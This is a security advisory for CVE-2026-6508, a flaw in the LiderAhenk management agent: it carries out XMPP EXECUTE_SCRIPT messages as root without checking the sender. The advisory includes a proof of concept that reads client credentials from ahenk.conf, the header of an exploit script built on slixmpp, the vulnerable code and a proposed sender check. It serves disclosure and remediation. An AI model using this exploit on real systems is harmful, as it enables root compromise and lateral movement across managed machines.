CVE-2026-6508

EvilAhenk is a critical security vulnerability in the LiderAhenk Central Management System architecture that allows all clients to execute code with 'root' privileges on each other (Unauthorized RCE & Lateral Movement).

How the System Works

In LiderAhenk, the management panel/central server sends task and policy messages to clients over XMPP.

• The Central Management Panel connects to the XMPP server as an authorized user,
• The ahenk agents on clients also connect to the same XMPP infrastructure,
• The center sends messages like EXECUTE_POLICY, EXECUTE_TASK, or EXECUTE_SCRIPT to the target client
• The client agent receives and applies these messages

So XMPP is the transport channel for management traffic. The central panel's commands normally go to clients over this channel.

Difference between expected flow and vulnerable flow

Expected flow:

Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent

Vulnerable flow:

• ct-2 is a valid client connected to the same XMPP server
• ct-2 sends an EXECUTE_SCRIPT message via the XMPP server targeting the JID of ct-1
• The XMPP server forwards the message to ct-1
• ct-1 executes the command without checking whether the message actually came from lider_sunucu
• The command runs as root because ahenk.service runs as root

ct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut

So we are not hacking the XMPP layer. The XMPP server does normal message routing. The problem is that the Ahenk agent on the ct-1 side does not check whether the incoming message actually came from an authorized management account.

PoC

pip install slixmpp

Information is collected from a compromised client connected to the central management system as follows:

sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf

Example output;

uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org

We update the Main.py file according to the information we obtained, im.liderahenk.org domain, pardus-ct-1 target uid

- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Default target: `[email protected]`

The command to be executed on the victim machine can be configured by changing the COMMAND variable.

root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP

XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"

Vulnerable code

Inside repos/ahenk/src/base/messaging/messenger.py, incoming messages are processed only according to the type field. There is no check for the authorized sender in msg['from']:

def recv_direct_message(self, msg):
    if msg['type'] in ['normal']:
        j = json.loads(str(msg['body']))
        message_type = j['type']
        self.event_manger.fireEvent(message_type, str(msg['body']))

Inside repos/ahenk/src/base/execution/execution_manager.py, EXECUTE_SCRIPT directly goes to command execution:

def execute_script(self, arg):
    json_data = json.loads(arg)
    result_code, p_out, p_err = Util.execute(str(json_data['command']))

When these two parts combine, the effect is as follows:

• The XMPP server forwards the message to the target
• The victim agent triggers the EXECUTE_SCRIPT event without verifying the sender
• The command runs as root

A possible design fix;

def recv_direct_message(self, msg):
    if msg['type'] != 'normal':
        return

    allowed_sender = self.receiver.split('/')[0]
    actual_sender = msg['from'].bare
    if actual_sender != allowed_sender:
        self.logger.warning("Rejected message from %s", actual_sender)
        return

    j = json.loads(str(msg['body']))
    self.event_manger.fireEvent(j['type'], str(msg['body']))